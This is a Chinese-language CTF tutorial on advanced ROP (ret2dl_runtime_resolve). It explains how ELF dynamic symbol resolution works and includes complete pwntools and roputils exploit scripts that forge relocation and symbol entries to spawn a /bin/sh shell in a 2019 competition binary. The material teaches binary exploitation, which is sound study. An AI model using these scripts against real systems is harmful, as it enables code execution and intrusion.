PWN入門進階篇(五)高級ROP
0x PWN入門系列文章列表
0x1 前言
關於高級ROP,自己在學習過程中,感覺有種知識的脫節的感覺,不過也感覺思路開拓了很多,下面我將以一個萌新的視角來展開學習高級ROP的過程,本文主要針對32位,因為64位的話高級ROP感覺沒必要,可以用其他方法代替。
0x2 高級ROP的概念
這個概念主要是從ctf wiki上面知道的
高級ROP其實和一般的ROP基本一樣,其主要的區別在於它利用了一些更加底層的原理。
經典的高級ROP就是: ret2_dl_runtime_resolve
更多內容參考: 高級ROP
0x3 適用情況
利用ROP技巧,可以繞過NX和ASLR保護,比較適用於一些比較簡單的棧溢出情況,但是同時難以泄漏獲取更多信息的情況(比如沒辦法獲取到libc版本)
0x4 了解ELF的關鍵段
這里我們主要了解下段的組成,特別是結構體數組
分析ELF常用的命令(備忘錄記一波):
$readelf 命令
-h –file-header Display the ELF file header
-s –syms Display the symbol table
–symbols An alias for –syms
-S –section-headers Display the sections’ header
-r –relocs Display the relocations (if present)
-l –program-headers Display the program headers
–segments An alias for –program-headers
$objdump
-s, –full-contents Display the full contents of all sections requested
-d, –disassemble Display assembler contents of executable sections
-h, –[section-]headers Display the contents of the section headers
dynstr
一個字符串表,索引[0]永遠為0,獲取的時候是取相對[0]處的地址作為偏移來取字符串的。
[ 6] .dynstr STRTAB 0804827c 00027c 00006c 00 A 0 0 1
學過編譯原理可能就能更好理解他為什么這么做了, 符號解析(翻譯)->xx->機器代碼
dynsym
符號表(結構體數組)
[ 5] .dynsym DYNSYM 080481dc 0001dc 0000a0 10 A 6 1 4
表項很明顯就是ELF32_Sym的結構
glibc-2.0.1/elf/elf.h 254行有定義
typedef struct { Elf32_Word st_name; /* Symbol name (string tbl index) */ Elf32_Addr st_value; /* Symbol value */ Elf32_Word st_size; /* Symbol size */ unsigned char st_info; /* Symbol type and binding */ unsigned char st_other; /* No defined meaning, 0 */ Elf32_Section st_shndx; /* Section index */ } Elf32_Sym;
這里說明一下每一個表項對應一個結構體(一個符號),里面的成員就是符號的屬性。
對於導入函數的符號而言,符號名st_name是相對.dynstr索引[0]的相對偏移
st_info 類型固定是0x12其他屬性都為0
rel.plt
重定位表,也是結構體數組(存放結構體對象),每個表項(結構體對象)對應一個導入函數。 結構體定義如下
[10] .rel.plt REL 0804833c 00033c 000020 08 AI 5 24 4
typedef struct { Elf32_Addr r_offset; /* Address */ Elf32_Word r_info; /* Relocation type and symbol index */ } Elf32_Rel
其中r_offset是指向GOT表的指針,r_info是導入符號信息,他的值組成有點意思
JMPREL代表就是導入函數,這里舉read 其r_offser=0x804A00CH,r_info=107h
07代表的是它是個導入函數符號,而1代表的是他在.dynsym也就是符號表的偏移。
0x5 一張圖讓你明白高級ROP原理
ROP,首先我們必須理解延遲綁定的流程,上一篇文章我也有涉及了這方面的內容。
延遲綁定通俗來講就是:
程序一開始並沒有直接鏈接到外部函數的地址,而是丟了個外部函數對應plt表項的地址,plt表項地址的內容是一小段代碼,第一次執行這個外部函數的時候plt指向got表並不是真實地址,而是他的下一條指令地址,然后一直執行到dlruntime_resolve,然后直接跳轉到真實地址去執行,如果是第二次執行的話,PLT表項地址就是指向got表的指針,此時got表的指向的就是真實函數的地址了。
那么_dl_runtime_resolve這個函數到底做了什么事情呢?
這張圖我是基於參考某個文章師傅解釋的來畫的。
dlruntime_resolve 工作原理
- 用link_map訪問.dynamic,取出.dynstr, .dynsym, .rel.plt的指針
- .rel.plt + 第二個參數求出當前函數的重定位表項Elf32_Rel的指針,記作rel
- rel->r_info >> 8作為.dynsym的下標,求出當前函數的符號表項Elf32_Sym的指針,記作sym
- .dynstr + sym->st_name得出符號名字符串指針
- 在動態鏈接庫查找這個函數的地址,並且把地址賦值給*rel->r_offset,即GOT表
- 調用這個函數
dlruntime_resolve 動態解析器函數原理剖析圖
0x5.1 高級ROP的攻擊原理
通俗地來說非常簡單就是:
高級ROP攻擊的對象就是_dl_runtime_resolve這個函數, 通過偽造內容(參數或指針)來攻擊他,讓他錯誤解析函數地址,比如將read@plt解析成system函數的地址。
這里介紹兩種攻擊思路:
(1) 修改.dynamic 內容
條件: NO RELRO (.dynamic可寫)
我們知道程序第一步是去.dynamic取.dynstr的指針是吧,然后在經過2,3,4步獲得偏移,我們想想如果我們如果可以改寫.dynamic的.dynstr指針為一個我們可以控制的地址的時候,然后我們手工分析2.3.4取得偏移值,我們就在我們控制的地址+偏移,然后填入system那么程序第五步的時候就跑去找system的真實地址了。
(2) 控制第二個參數,讓其指向我們構造的Elf32_Rel結構
條件:
_dl_runtime_resolve沒有檢查.rel.plt + 第二個參數后是否造成越界訪問
_dl_runtime_resolve函數最后的解析根本上依賴於所給定的字符串(ps.上面流程圖很清楚)
我們控制程序去執行_dl_runtime_resolve這個函數,然后我們控制第二個參數的值也就是offset為一個很大的值 .rel.plt+offset就會指向我們可以控制的內存空間,比如說可讀寫的.bss段
就是說.bss其實就是一個*sym指針指向的地址(參考上面圖片第二步)
那么我們接下來就要偽造第三、第四步讓程序跑起來。
目的就是:偽造一個指向system的Elf32_Rel的結構
1.寫入一個r_info字段,格式是0xXXXXXX07,其中xxxxx是相對.dynsym的下標,比如上面那個read是0x107h,這里很關鍵,這個xxx的值是 偏移值/sizeof(Elf32_Sym),32位是0x10,怎么得來很簡單ida直接0x3c-0x2c=0x10,這里我們同樣可以控制為一個很大的偏移值.dybsym+offset然后來到我們的bss段可控內容處,這個時候我們就是控制了*sym指針指向了我們可以控制的bss段。
2.接着我們偽造第4步,.dynstr+*sym->stname為system符號,然后程序取完符號指向第五步。
,.dynstr+*sym->stname為system符號這一步怎么完成的?
道理還不是類似的?
*sym->stname這個值是我們可以控制的,類似上面的那些offser,我們同樣控制為一個很大的值指向bss段不就ok了?
0x5.2 高級ROP的攻擊難點:
很多人認為高級ROP比較復雜,其實非也。
其實原理順着步驟去調試還是很好理解的,比較復雜的是構造過程,通過實操一次構造過程,不但能加深我們對高級ROP的理解,而且能讓我們對ROP的威力有更深的了解。當然,最后我們還是得實現復雜流程自動化簡單化,將高級ROP變得不那么高級。
0x6 例題實操
國賽題目,也就是大佬分析的題目,這里小弟再次獻丑調試一波。
程序源碼可以加入我的萌新pwn交流群,或者網上搜索下,19年華中賽區國賽babypwn
這個題目主要是利用上面的攻擊方式第二種偽造Elf32_Rel結構。
這里我介紹兩種方法。
0x6.1 手工構造exp
我們先偽造Elf_REL結構對象rel
plt0 = elf.get_section_by_name('.plt').header.sh_addr
rel_plt = elf.get_section_by_name('.rel.plt').header.sh_addr
dynsym = elf.get_section_by_name('.dynsym').header.sh_addr
dynstr = elf.get_section_by_name('.dynstr').header.sh_addr
# pwntool 真是個好方便的工具 # 這里我們確定bss段+0x800作為我們的可控開始地址 也就是虛假的dynsym表的地址 stack_size = 0x800 control_base = bss_buf + stack_size #偽造一個虛假的dynsym表項的地址 alarm_got = elf.got['alarm'] fake_dynsym_addr = control_base + 0x24 align = 0x10 - ((fake_sym_addr - dynsym) & 0xf) fake_dynsym_addr += align # 這里要對齊16字節,要不然函數解析的時候會出錯, index_sym = (fake_dynsym_addr - dynsym) / 0x10 rel_r_info = index_sym << 8 | 7 fake_rel = p32(alarm_got)+p32(r_info) # 偽造的rel結構 st_name=fake_dynsym_addr+0x10-dynstr # 取fake_dynsym_addr+0x10 作為'system\x00'的地址,求出偏移付給st_name # 偽造.syndym表的表項 fake_elf32_sym=p32(st_name)+p32(0)+p32(0)+p32(0x12) rep_plt_offset = control_base + 24 - rel_plt # 這里就是我們構造一個很大offset然后讓他指向我們的bss段
接着我們開始構造rop
#!/use/bin/python # -*- coding:utf-8 -*- import sys import roputils from pwn import * context.log_level = 'debug' context(arch='i386', os='linux') context.terminal = ['/usr/bin/tmux', 'splitw', '-h'] elf = ELF('./pwn') io = process('./pwn') rop = ROP('./pwn') gdb.attach(io) pause() addr_bss = elf.bss() # 這里我們確定bss段+0x800作為我們的可控開始地址 也就是虛假的dynsym表的地址 stack_size = 0x800 control_base = addr_bss + stack_size # 溢出 rop.raw('A'*0x2c) # call read(0, control_base, 100) rop.read(0, control_base, 100) rop.migrate(control_base) # 將棧遷移到bss段 io.sendline(rop.chain()) plt0 = elf.get_section_by_name('.plt').header.sh_addr rel_plt = elf.get_section_by_name('.rel.plt').header.sh_addr dynsym = elf.get_section_by_name('.dynsym').header.sh_addr dynstr = elf.get_section_by_name('.dynstr').header.sh_addr rop2 = ROP('./pwn') #偽造一個虛假的dynsym表項的地址 alarm_got = elf.got['alarm'] fake_dynsym_addr = control_base + 36 align = 0x10 - ((fake_dynsym_addr - dynsym) & 0xf) fake_dynsym_addr += align # 這里要對齊16字節,要不然函數解析的時候會出錯, index_sym = (fake_dynsym_addr - dynsym) / 0x10 rel_r_info = index_sym << 8 | 0x7 fake_rel = p32(alarm_got)+p32(rel_r_info) # 偽造的rel結構 st_name= fake_dynsym_addr+0x10-dynstr # 取fake_dynsym_addr+0x10 作為'system\x00'的地址,求出偏移付給st_name # 偽造.syndym表的表項 fake_elf32_sym=p32(st_name)+p32(0)+p32(0)+p32(0x12) rel_plt_offset = control_base + 24 - rel_plt # 這里就是我們構造一個很大offset然后讓他指向我們的bss段 binsh = '/bin/sh' # 填充結構 padd = 'B'*4 # 下面就是往control_base(bss+0x800)寫入fake_dynsym表 # linkmap rop2.raw(plt0) # 0 # offset rop2.raw(rel_plt_offset) # 4 # ret rop2.raw(padd) #8 # binsh位置 rop2.raw(control_base+90) #12 rop2.raw(padd) #16 rop2.raw(padd) #20 rop2.raw(fake_rel) # 24 paddoffset = 12 rop2.raw('B'* paddoffset) # 32 rop2.raw(fake_elf32_sym) # 44 # sizeof(fake_dynsym_addr)=0x10 所以下面那個就是system符號 rop2.raw('system\x00') # 60 print(len(rop2.chain())) rop2.raw('B'*(90 - len(rop2.chain()))) rop2.raw(binsh+'\x00') rop2.raw('B'*(100 - len(rop2.chain()))) log.success("bss:" + str(hex(addr_bss))) log.success("control_base:" + str(hex(control_base))) log.success("align:" + str(hex(align))) log.success("fake_dynsym_addr - dynsym:" + str(hex(fake_dynsym_addr - dynsym))) log.success("fake_dynsym_addr:" + str(hex(fake_dynsym_addr))) log.success("binsh:" + str(hex(control_base+82))) io.sendline(rop2.chain()) io.interactive()
這里計算難點是在這里:
padd = 'B'*4
# 下面就是往control_base(bss+0x800)寫入fake_dynsym表 # linkmap rop2.raw(plt0) # 0 # offset rop2.raw(rel_plt_offset) # 4 # ret rop2.raw(padd) #8 # binsh位置 rop2.raw(control_base+90) #12 rop2.raw(padd) #16 rop2.raw(padd) #20 rop2.raw(fake_rel) # 24 paddoffset = 12 rop2.raw('B'* paddoffset) # 32 rop2.raw(fake_elf32_sym) # 44 # sizeof(fake_dynsym_addr)=0x10 所以下面那個就是system符號 rop2.raw('system\x00') # 60
首先
fake_dynsym_addr = control_base + 36
align = 0x10 - ((fake_dynsym_addr - dynsym) & 0xf)
fake_dynsym_addr += align
首先我們設置了fake_dynsym_addr是在control_base偏移36處,但是對齊之后+align,那么偏移就是44了
還有就是size(fake_rel)結構大小為8,
paddoffset = 12 其實就是:paddoffset = fake_elf32_sym-control_base-32
paddoffset = 44 - len(rop2.chain())
rop2.raw('B'* paddoffset) # 32 rop2.raw(fake_elf32_sym) # 44
這樣也是ok的,填滿90,之后設置/bin/sh,就是參數地址了。
0x6.2 roputils一把梭
import sys
import roputils
from pwn import *
context.log_level = 'debug'
r = process("./pwn") # r = remote("c346dfd9093dd09cc714320ffb41ab76.kr-lab.com", "56833") rop = roputils.ROP('./pwn') addr_bss = rop.section('.bss') buf1 = 'A' * 0x2c buf1 += p32(0x8048390) + p32(0x804852D) + p32(0) + p32(addr_bss) + p32(100) r.send(buf1) buf2 = rop.string('/bin/sh') buf2 += rop.fill(20, buf2) buf2 += rop.dl_resolve_data(addr_bss + 20, 'system') buf2 += rop.fill(100, buf2) r.send(buf2) buf3 = 'A' * 0x2c + rop.dl_resolve_call(addr_bss + 20, addr_bss) r.send(buf3) #gdb.attach(r) r.interactive()
這個程序師傅們寫的,這里我分析下程序結構
rop = roputils.ROP('./pwn')
addr_bss = rop.section('.bss') # 獲取bss段地址 buf1 = 'A' * 0x2c buf1 += p32(0x8048390) + p32(0x804852D) + p32(0) + p32(addr_bss) + p32(100) r.send(buf1) # rop1 這里調用了read的plt,返回地址double overflow, # 主要作用是遷移棧到bss段 # 這段代碼可以簡化,多利用下rop函數就好了 # buf = 'A' * 0x2c + rop.call('read', 0, addr_bss, 100) buf2 = rop.string('/bin/sh') buf2 += rop.fill(20, buf2) buf2 += rop.dl_resolve_data(addr_bss + 20, 'system') # addr_bss + 20 這是我們可控的區域,dl_resolve_data會自動對齊 buf2 += rop.fill(100, buf2) r.send(buf2) # 上面就是偽造結構的過程, buf3 = 'A' * 0x2c + rop.dl_resolve_call(addr_bss + 20, addr_bss)
關於roputils的原理可以參考下: ROP之return to dl-resolve
0x7 總結
本文更多是簡化各位大師傅們的文章,因為筆者在學習高級ROP過程中,閱讀了各位師傅們的文章之后感覺還是有些地方不是很明白,所以自己集百家之長寫了這么一篇自我而言比較好理解的高級ROP文章,當作PWN入門系列棧的收尾,堆開端的預兆。